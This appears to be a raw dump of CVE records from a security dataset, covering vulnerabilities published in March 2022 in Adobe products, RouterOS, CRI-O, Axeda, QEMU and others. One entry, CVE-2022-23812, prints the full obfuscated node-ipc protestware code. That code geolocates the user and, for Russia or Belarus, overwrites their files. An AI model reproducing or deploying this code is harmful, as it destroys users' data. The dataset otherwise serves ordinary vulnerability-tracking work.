deardaniel/secdata-raw huggingface dataset:
CVE: CVE-2021-40789
Published: 2022-03-16
Description: Adobe Premiere Elements 20210809.daily.2242976 (and earlier) is affected by a Null pointer dereference vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to achieve an application denial-of-service in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS Score: 5.5 (MEDIUM)
CWE: CWE-476
References: https://helpx.adobe.com/security/products/premiere_elements/apsb21-106.html; https://helpx.adobe.com/security/products/premiere_elements/apsb21-106.html
CVE: CVE-2021-40792
Published: 2022-03-16
Description: Adobe Premiere Pro version 15.4.1 (and earlier) is affected by a memory corruption vulnerability due to insecure handling of a malicious file, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.
CVSS Score: 7.8 (HIGH)
CWE: CWE-788, CWE-119
References: https://helpx.adobe.com/security/products/premiere_pro/apsb21-100.html; https://helpx.adobe.com/security/products/premiere_pro/apsb21-100.html
CVE: CVE-2021-40793
Published: 2022-03-16
Description: Adobe Premiere Pro version 15.4.1 (and earlier) is affected by a memory corruption vulnerability due to insecure handling of a malicious file, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.
CVSS Score: 7.8 (HIGH)
CWE: CWE-788, CWE-119
References: https://helpx.adobe.com/security/products/premiere_pro/apsb21-100.html; https://helpx.adobe.com/security/products/premiere_pro/apsb21-100.html
CVE: CVE-2021-40794
Published: 2022-03-16
Description: Adobe Premiere Pro version 15.4.1 (and earlier) is affected by a memory corruption vulnerability due to insecure handling of a malicious file, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.
CVSS Score: 7.8 (HIGH)
CWE: CWE-788, CWE-119
References: https://helpx.adobe.com/security/products/premiere_pro/apsb21-100.html; https://helpx.adobe.com/security/products/premiere_pro/apsb21-100.html
CVE: CVE-2021-40796
Published: 2022-03-16
Description: Adobe Premiere Pro 15.4.1 (and earlier) is affected by a Null pointer dereference vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to achieve an application denial-of-service in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS Score: 5.5 (MEDIUM)
CWE: CWE-476
References: https://helpx.adobe.com/security/products/premiere_pro/apsb21-100.html; https://helpx.adobe.com/security/products/premiere_pro/apsb21-100.html
CVE: CVE-2021-41987
Published: 2022-03-16
Description: In the SCEP Server of RouterOS in certain Mikrotik products, an attacker can trigger a heap-based buffer overflow that leads to remote code execution. The attacker must know the scep_server_name value. This affects RouterOS 6.46.8, 6.47.9, and 6.47.10.
CVSS Score: 8.1 (HIGH)
CWE: CWE-787
References: https://mikrotik.com/download/archive; https://teamt5.org/en/posts/vulnerability-mikrotik-cve-2021-41987/; https://mikrotik.com/download/archive
CVE: CVE-2021-42263
Published: 2022-03-16
Description: Adobe Premiere Pro 15.4.1 (and earlier) is affected by a Null pointer dereference vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to achieve an application denial-of-service in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS Score: 5.5 (MEDIUM)
CWE: CWE-476
References: https://helpx.adobe.com/security/products/premiere_pro/apsb21-100.html; https://helpx.adobe.com/security/products/premiere_pro/apsb21-100.html
CVE: CVE-2021-42264
Published: 2022-03-16
Description: Adobe Premiere Pro 15.4.1 (and earlier) is affected by a Null pointer dereference vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to achieve an application denial-of-service in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS Score: 5.5 (MEDIUM)
CWE: CWE-476
References: https://helpx.adobe.com/security/products/premiere_pro/apsb21-100.html; https://helpx.adobe.com/security/products/premiere_pro/apsb21-100.html
CVE: CVE-2021-42526
Published: 2022-03-16
Description: Adobe Premiere Elements 20210809.daily.2242976 (and earlier) is affected by a memory corruption vulnerability due to insecure handling of a malicious file, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.
CVSS Score: 7.8 (HIGH)
CWE: CWE-788, CWE-119
References: https://helpx.adobe.com/security/products/premiere_elements/apsb21-106.html; https://helpx.adobe.com/security/products/premiere_elements/apsb21-106.html
CVE: CVE-2021-42527
Published: 2022-03-16
Description: Adobe Premiere Elements 20210809.daily.2242976 (and earlier) is affected by a memory corruption vulnerability due to insecure handling of a malicious file, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.
CVSS Score: 7.8 (HIGH)
CWE: CWE-788, CWE-119
References: https://helpx.adobe.com/security/products/premiere_elements/apsb21-106.html; https://helpx.adobe.com/security/products/premiere_elements/apsb21-106.html
CVE: CVE-2021-42533
Published: 2022-03-16
Description: Adobe Bridge version 11.1.1 (and earlier) is affected by a double free vulnerability when parsing a crafted DCM file, which could result in arbitrary code execution in the context of the current user. This vulnerability requires user interaction to exploit.
CVSS Score: 7.8 (HIGH)
CWE: CWE-415
References: https://helpx.adobe.com/security/products/bridge/apsb21-94.html; https://helpx.adobe.com/security/products/bridge/apsb21-94.html
CVE: CVE-2021-42719
Published: 2022-03-16
Description: Adobe Bridge version 11.1.1 (and earlier) is affected by an out-of-bounds read vulnerability when parsing a crafted .jpe file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS Score: 7.8 (HIGH)
CWE: CWE-125
References: https://helpx.adobe.com/security/products/bridge/apsb21-94.html; https://helpx.adobe.com/security/products/bridge/apsb21-94.html
CVE: CVE-2021-42720
Published: 2022-03-16
Description: Adobe Bridge version 11.1.1 (and earlier) is affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS Score: 7.8 (HIGH)
CWE: CWE-125
References: https://helpx.adobe.com/security/products/bridge/apsb21-94.html; https://helpx.adobe.com/security/products/bridge/apsb21-94.html
CVE: CVE-2021-42722
Published: 2022-03-16
Description: Adobe Bridge version 11.1.1 (and earlier) is affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS Score: 7.8 (HIGH)
CWE: CWE-125
References: https://helpx.adobe.com/security/products/bridge/apsb21-94.html; https://helpx.adobe.com/security/products/bridge/apsb21-94.html
CVE: CVE-2021-42724
Published: 2022-03-16
Description: Adobe Bridge version 11.1.1 (and earlier) is affected by a memory corruption vulnerability due to insecure handling of a malicious file, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.
CVSS Score: 7.8 (HIGH)
CWE: CWE-788, CWE-119
References: https://helpx.adobe.com/security/products/bridge/apsb21-94.html; https://helpx.adobe.com/security/products/bridge/apsb21-94.html
CVE: CVE-2021-42728
Published: 2022-03-16
Description: Adobe Bridge 11.1.1 (and earlier) is affected by a stack overflow vulnerability due to insecure handling of a crafted file, potentially resulting in arbitrary code execution in the context of the current user. Exploitation requires user interaction in that a victim must open a crafted file in Bridge.
CVSS Score: 7.8 (HIGH)
CWE: CWE-120
References: https://helpx.adobe.com/security/products/bridge/apsb21-94.html; https://helpx.adobe.com/security/products/bridge/apsb21-94.html
CVE: CVE-2021-42729
Published: 2022-03-16
Description: Adobe Bridge version 11.1.1 (and earlier) is affected by a memory corruption vulnerability due to insecure handling of a malicious WAV file, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.
CVSS Score: 7.8 (HIGH)
CWE: CWE-788, CWE-119
References: https://helpx.adobe.com/security/products/bridge/apsb21-94.html; https://helpx.adobe.com/security/products/bridge/apsb21-94.html
CVE: CVE-2021-42730
Published: 2022-03-16
Description: Adobe Bridge version 11.1.1 (and earlier) is affected by a memory corruption vulnerability due to insecure handling of a malicious PSD file, potentially resulting in arbitrary code execution in the context of the current user. User interaction is required to exploit this vulnerability.
CVSS Score: 7.8 (HIGH)
CWE: CWE-788, CWE-119
References: https://helpx.adobe.com/security/products/bridge/apsb21-94.html; https://helpx.adobe.com/security/products/bridge/apsb21-94.html
CVE: CVE-2021-45821
Published: 2022-03-16
Description: A blind SQL injection vulnerability exists in Xbtit 3.1 via the sid parameter in ajaxchat/getHistoryChatData.php file that is accessible by a registered user. As a result, a malicious user can extract sensitive data such as usernames and passwords and in some cases use this vulnerability in order to get a remote code execution on the remote web server.
CVSS Score: 8.8 (HIGH)
CWE: CWE-89
References: https://emaragkos.gr/infosec-adventures/xbtit-3-1-sql-njection/; https://github.com/btiteam/xbtit-3.1/blob/master/ajaxchat/getHistoryChatData.php; https://github.com/btiteam/xbtit-3.1/issues/6
CVE: CVE-2022-0811
Published: 2022-03-16
Description: A flaw was found in CRI-O in the way it set kernel options for a pod. This issue allows anyone with rights to deploy a pod on a Kubernetes cluster that uses the CRI-O runtime to achieve a container escape and arbitrary code execution as root on the cluster node, where the malicious pod was deployed.
CVSS Score: 8.8 (HIGH)
CWE: CWE-94, CWE-94
References: https://bugzilla.redhat.com/show_bug.cgi?id=2059475; https://github.com/cri-o/cri-o/security/advisories/GHSA-6x2m-w449-qwx7; https://bugzilla.redhat.com/show_bug.cgi?id=2059475
CVE: CVE-2022-0918
Published: 2022-03-16
Description: A vulnerability was discovered in the 389 Directory Server that allows an unauthenticated attacker with network access to the LDAP port to cause a denial of service. The denial of service is triggered by a single message sent over a TCP connection, no bind or other authentication is required. The message triggers a segmentation fault that results in slapd crashing.
CVSS Score: 7.5 (HIGH)
References: https://access.redhat.com/security/cve/CVE-2022-0918; https://bugzilla.redhat.com/show_bug.cgi?id=2055815; https://github.com/389ds/389-ds-base/issues/5242
CVE: CVE-2022-0959
Published: 2022-03-16
Description: A malicious, but authorised and authenticated user can construct an HTTP request using their existing CSRF token and session cookie to manually upload files to any location that the operating system user account under which pgAdmin is running has permission to write.
CVSS Score: 6.5 (MEDIUM)
CWE: CWE-434, CWE-22, CWE-434
References: https://bugzilla.redhat.com/show_bug.cgi?id=2063759; https://bugzilla.redhat.com/show_bug.cgi?id=2063759
CVE: CVE-2022-0982
Published: 2022-03-16
Description: The telnet_input_char function in opt/src/accel-pppd/cli/telnet.c suffers from a memory corruption vulnerability, whereby user input cmdline_len is copied into a fixed buffer b->buf without any bound checks. If the server connects with a malicious client, crafted client requests can remotely trigger this vulnerability.
CVSS Score: 9.8 (CRITICAL)
CWE: CWE-787
References: https://github.com/xebd/accel-ppp/issues/164; https://github.com/xebd/accel-ppp/issues/164
CVE: CVE-2022-23234
Published: 2022-03-16
Description: SnapCenter versions prior to 4.5 are susceptible to a vulnerability which could allow a local authenticated attacker to discover plaintext HANA credentials.
CVSS Score: 5.5 (MEDIUM)
CWE: CWE-312
References: https://security.netapp.com/advisory/ntap-20[PII_REDACTED]/; https://security.netapp.com/advisory/ntap-20[PII_REDACTED]/
CVE: CVE-2022-25246
Published: 2022-03-16
Description: Axeda agent (All versions) and Axeda Desktop Server for Windows (All versions) uses hard-coded credentials for its UltraVNC installation. Successful exploitation of this vulnerability could allow a remote authenticated attacker to take full remote control of the host operating system.
CVSS Score: 9.8 (CRITICAL)
CWE: CWE-798, CWE-798
References: https://www.cisa.gov/uscert/ics/advisories/icsa-22-067-01; https://www.ptc.com/en/support/article/CS363561; https://www.cisa.gov/uscert/ics/advisories/icsa-22-067-01
CVE: CVE-2022-25247
Published: 2022-03-16
Description: Axeda agent (All versions) and Axeda Desktop Server for Windows (All versions) may allow an attacker to send certain commands to a specific port without authentication. Successful exploitation of this vulnerability could allow a remote unauthenticated attacker to obtain full file-system access and remote code execution.
CVSS Score: 9.8 (CRITICAL)
CWE: CWE-306, CWE-306
References: https://www.cisa.gov/uscert/ics/advisories/icsa-22-067-01; https://www.ptc.com/en/support/article/CS363561; https://www.cisa.gov/uscert/ics/advisories/icsa-22-067-01
CVE: CVE-2022-25248
Published: 2022-03-16
Description: When connecting to a certain port Axeda agent (All versions) and Axeda Desktop Server for Windows (All versions) supplies the event log of the specific service.
CVSS Score: 5.3 (MEDIUM)
CWE: CWE-200, CWE-200
References: https://www.cisa.gov/uscert/ics/advisories/icsa-22-067-01; https://www.ptc.com/en/support/article/CS363561; https://www.cisa.gov/uscert/ics/advisories/icsa-22-067-01
CVE: CVE-2022-25249
Published: 2022-03-16
Description: When connecting to a certain port Axeda agent (All versions) and Axeda Desktop Server for Windows (All versions) (disregarding Axeda agent v6.9.2 and v6.9.3) is vulnerable to directory traversal, which could allow a remote unauthenticated attacker to obtain file system read access via web server..
CVSS Score: 7.5 (HIGH)
CWE: CWE-22, CWE-22
References: https://www.cisa.gov/uscert/ics/advisories/icsa-22-067-01; https://www.ptc.com/en/support/article/CS363561; https://www.cisa.gov/uscert/ics/advisories/icsa-22-067-01
CVE: CVE-2022-25250
Published: 2022-03-16
Description: When connecting to a certain port Axeda agent (All versions) and Axeda Desktop Server for Windows (All versions) may allow an attacker to send a certain command to a specific port without authentication. Successful exploitation of this vulnerability could allow a remote unauthenticated attacker to shut down a specific service.
CVSS Score: 7.5 (HIGH)
CWE: CWE-306, CWE-306
References: https://www.cisa.gov/uscert/ics/advisories/icsa-22-067-01; https://www.ptc.com/en/support/article/CS363561; https://www.cisa.gov/uscert/ics/advisories/icsa-22-067-01
CVE: CVE-2022-25251
Published: 2022-03-16
Description: When connecting to a certain port Axeda agent (All versions) and Axeda Desktop Server for Windows (All versions) may allow an attacker to send certain XML messages to a specific port without proper authentication. Successful exploitation of this vulnerability could allow a remote unauthenticated attacker to read and modify the affected product’s configuration.
CVSS Score: 9.8 (CRITICAL)
CWE: CWE-306, CWE-306
References: https://www.cisa.gov/uscert/ics/advisories/icsa-22-067-01; https://www.ptc.com/en/support/article/CS363561; https://www.cisa.gov/uscert/ics/advisories/icsa-22-067-01
CVE: CVE-2022-25252
Published: 2022-03-16
Description: When connecting to a certain port Axeda agent (All versions) and Axeda Desktop Server for Windows (All versions) when receiving certain input throws an exception. Services using said function do not handle the exception. Successful exploitation of this vulnerability could allow a remote unauthenticated attacker to crash the affected product.
CVSS Score: 7.5 (HIGH)
CWE: CWE-703, CWE-754
References: https://www.cisa.gov/uscert/ics/advisories/icsa-22-067-01; https://www.ptc.com/en/support/article/CS363561; https://www.cisa.gov/uscert/ics/advisories/icsa-22-067-01
CVE: CVE-2022-26353
Published: 2022-03-16
Description: A flaw was found in the virtio-net device of QEMU. This flaw was inadvertently introduced with the fix for CVE-2021-3748, which forgot to unmap the cached virtqueue elements on error, leading to memory leakage and other unexpected results. Affected QEMU version: 6.2.0.
CVSS Score: 7.5 (HIGH)
CWE: CWE-772, CWE-772
References: https://gitlab.com/qemu-project/qemu/-/commit/abe300d9d894f7138e1af7c8e9c88c04bfe98b37; https://lists.nongnu.org/archive/html/qemu-devel/2022-03/msg02438.html; https://security.gentoo.org/glsa/202208-27
CVE: CVE-2022-26354
Published: 2022-03-16
Description: A flaw was found in the vhost-vsock device of QEMU. In case of error, an invalid element was not detached from the virtqueue before freeing its memory, leading to memory leakage and other unexpected results. Affected QEMU versions <= 6.2.0.
CVSS Score: 3.2 (LOW)
CWE: CWE-772, CWE-772
References: https://gitlab.com/qemu-project/qemu/-/commit/8d1b247f3748ac[PII_REDACTED]c6d7ae42b6140aaf; https://lists.debian.org/debian-lts-announce/2022/04/msg00002.html; https://lists.debian.org/debian-lts-announce/2022/09/msg00008.html
CVE: CVE-2022-26660
Published: 2022-03-16
Description: RunAsSpc 4.0 uses a universal and recoverable encryption key. In possession of a file encrypted by RunAsSpc, an attacker can recover the credentials that were used.
CVSS Score: 7.5 (HIGH)
CWE: CWE-798
References: https://robotronic.de/secureen.html; https://robotronic.de/secureen.html
CVE: CVE-2021-23648
Published: 2022-03-16
Description: The package @braintree/sanitize-url before 6.0.0 are vulnerable to Cross-site Scripting (XSS) due to improper sanitization in sanitizeUrl function.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79
References: https://github.com/braintree/sanitize-url/blob/main/src/index.ts%23L11; https://github.com/braintree/sanitize-url/pull/40; https://github.com/braintree/sanitize-url/pull/40/commits/e5afda45d9833682b705f73fc2c1265d34832183
CVE: CVE-2021-45822
Published: 2022-03-16
Description: A cross-site scripting vulnerability is present in Xbtit 3.1. The stored XSS vulnerability occurs because /ajaxchat/sendChatData.php does not properly validate the value of the "n" (POST) parameter. Through this vulnerability, an attacker is capable to execute malicious JavaScript code.
CVSS Score: 6.1 (MEDIUM)
CWE: CWE-79
References: https://emaragkos.gr/infosec-adventures/xbtit-3-1-xss-stored-amp-reflected/; https://github.com/btiteam/xbtit-3.1; https://github.com/btiteam/xbtit-3.1/issues/7
CVE: CVE-2022-21164
Published: 2022-03-16
Description: The package node-lmdb before 0.9.7 are vulnerable to Denial of Service (DoS) when defining a non-invokable ToString value, which will cause a crash during type check.
CVSS Score: 3.7 (LOW)
References: https://github.com/Venemo/node-lmdb/commit/97760104c0fd311206b88aecd91fa1f59fe2b85a; https://snyk.io/vuln/SNYK-JS-NODELMDB-2400723; https://github.com/Venemo/node-lmdb/commit/97760104c0fd311206b88aecd91fa1f59fe2b85a
CVE: CVE-2022-23812
Published: 2022-03-16
Description: This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don't run it! js import u from "path"; import a from "fs"; import o from "https"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64"); // https://api.ipgeolocation.io/ipgeo?[CREDENTIAL_REDACTED] o.get(n.toString("utf8"), function (t) { t.on("data", function (t) { const n = Buffer.from("Li8=", "base64"); const o = Buffer.from("Li4v", "base64"); const r = Buffer.from("Li4vLi4v", "base64"); const f = Buffer.from("Lw==", "base64"); const c = Buffer.from("Y291bnRyeV9uYW1l", "base64"); const e = Buffer.from("cnVzc2lh", "base64"); const i = Buffer.from("YmVsYXJ1cw==", "base64"); try { const s = JSON.parse(t.toString("utf8")); const u = s[c.toString("utf8")].toLowerCase(); const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8")); // checks if country is Russia or Belarus if (a) { h(n.toString("utf8")); h(o.toString("utf8")); h(r.toString("utf8")); h(f.toString("utf8")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = "", o = "") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from("4p2k77iP", "base64"); for (var e = 0; e < r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(...s) : null; } else if (i.indexOf(o) >= 0) { try { a.writeFile(i, c.toString("utf8"), function () {}); // overwrites file with ❤️ } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };
CVSS Score: 9.8 (CRITICAL)
References: https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e[PII_REDACTED]/dao/ssl-geospec.js; https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f81ab08352038b2204f0e[PII_REDACTED]; https://github.com/RIAEvangelist/node-ipc/issues/233
CVE: CVE-2022-24728
Published: 2022-03-16
Description: CKEditor4 is an open source what-you-see-is-what-you-get HTML editor. A vulnerability has been discovered in the core HTML processing module and may affect all plugins used by CKEditor 4 prior to version 4.18.0. The vulnerability allows someone to inject malformed HTML bypassing content sanitization, which could result in executing JavaScript code. This problem has been patched in version 4.18.0. There are currently no known workarounds.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79, CWE-79
References: https://ckeditor.com/cke4/release/CKEditor-4.18.0; https://github.com/ckeditor/ckeditor4/commit/d[PII_REDACTED]2d920a778503502dcb22881bc949; https://github.com/ckeditor/ckeditor4/security/advisories/GHSA-4fc4-4p5g-6w89